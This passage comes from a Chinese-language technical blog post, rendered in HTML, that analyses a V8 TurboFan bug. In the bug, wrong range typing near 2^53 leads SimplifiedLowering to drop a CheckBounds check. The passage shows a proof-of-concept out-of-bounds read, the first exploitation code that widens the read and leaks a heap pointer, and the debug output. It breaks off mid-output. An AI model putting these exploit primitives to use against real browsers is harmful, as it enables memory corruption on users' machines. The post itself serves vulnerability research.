!important;word-break: inherit !important;">1</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  y = y - <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740989</span>; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// max=3, actual max=5</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> arr[y];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>opt_me(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>%OptimizeFunctionOnNextCall(opt_me);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>let res = opt_me(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>print(res);<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">上述poc运行结果如下，越界读取了arr的值<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.25319040326697295" title="" data-type="png" data-w="1959" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=b9e3e80c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcdqwiaGQDmtPzqJyQt27LgjiaicMjzBDlDZByEgrspLUutHHicKicOicj3f0Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">分别看下<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SimplifiedLowering</code>运行前后，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CheckBounds</code>结点优化的情况，优化前<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">LoadElement</code>前，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CheckBounds</code>结点存在；从下图的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">After Typerphase</code>得知<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CheckBounds Range(2,3)</code>，其就是x分别等于<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">9007199254740992</code>及<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">9007199254740989</code>计算得到，其范围恒小于数组的长度。在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SimplifiedLowering</code>后，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CheckBounds</code>被优化掉，从而导致最终的越界成功<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.4867924528301887" title="" data-type="png" data-w="530" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c8799b08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcxQWwC47uqFSGPuhXH8EoibfYqa9ibDpbSLiaE7nXMojiayiaiavaHhOTGISA%2F640%3Fwx_fmt%3Dpng"/></figure><br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.6483931947069943" title="" data-type="png" data-w="529" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=640cedfd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcalmd8gKn26e42iaRF2yQDiboJTgHIm6K53FuK6eHvjLf2p1agK0D3kKQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.4em;margin-bottom: 2em;margin-right: 5px;padding: 4px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">Exploitation</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">这一节部分linux的调试信息是翻译introduction to turbofan的内容，win下的代码和linux的思路基本是一致的。文章最后贴出在win下调试的exp。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">扩大越界范围</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> ab = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">ArrayBuffer</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">8</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> fv = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Float64Array</span>(ab);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> dv = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> BigUint64Array(ab);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> f2i = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">f</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  fv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] = f;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> dv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> hexprintablei = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">i</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> (i).toString(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">16</span>).padStart(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">16</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;0&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> debug = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">x,z, leak</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>  print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;oob index is &#34;</span> + z);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>  print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;length is &#34;</span> + x.length);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>  print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;leaked 0x&#34;</span> + hexprintablei(f2i(leak)));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//%DebugPrint(x);</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>  %SystemBreak();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//%DumpObjects(x,13); // 23 &amp; 3 to dump the jsarray&#39;s elements</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>};<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> opt_me = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">x</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> arr = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Array</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.2</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.3</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.4</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> y = (( x==<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> ) ? <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740992</span> : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740989</span>) + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>  y = y - <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740989</span>; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// max=3, actual max=5</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> leak = arr[y];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>  %DebugPrint(arr);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (x == <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>    debug(arr,y, leak);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> leak;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span>opt_me(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span>%OptimizeFunctionOnNextCall(opt_me);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">37</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> res = opt_me(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">调试输出如下，行7是越界读取的数据</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span>oob index is 5<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>length is 4<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">---------------------------------------------------</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">Begin</span> compiling StoreFastElementStub <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">using</span> Turbofan<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">---------------------------------------------------</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>Finished compiling method StoreFastElementStub <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">using</span> Turbofan<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>leaked <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x0000017411f82d29</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>DebugPrint: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">000000379</span>AE0DF41: [JSArray]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span> - <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">map</span>: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x018577982931</span> &lt;<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">Map</span>(PACKED_DOUBLE_ELEMENTS)&gt; [FastProperties]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span> - prototype: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x0091e3286469</span> &lt;JSArray[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>]&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span> - elements: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x00379ae0df11</span> &lt;FixedDoubleArray[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>]&gt; [PACKED_DOUBLE_ELEMENTS]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span> - <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">length</span>: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span> - properties: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x017411f82d29</span> &lt;FixedArray[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>]&gt; {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">#length: 0x01cd60b1cd39 &lt;AccessorInfo&gt; (const accessor descriptor)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span> }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span> - elements: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x00379ae0df11</span> &lt;FixedDoubleArray[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>]&gt; {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>           <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.1</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>           <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.2</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>           <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.3</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>           <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.4</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span> }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0000018577982931</span>: [<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">Map</span>]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span> - <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">type</span>: JS_ARRAY_TYPE<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit 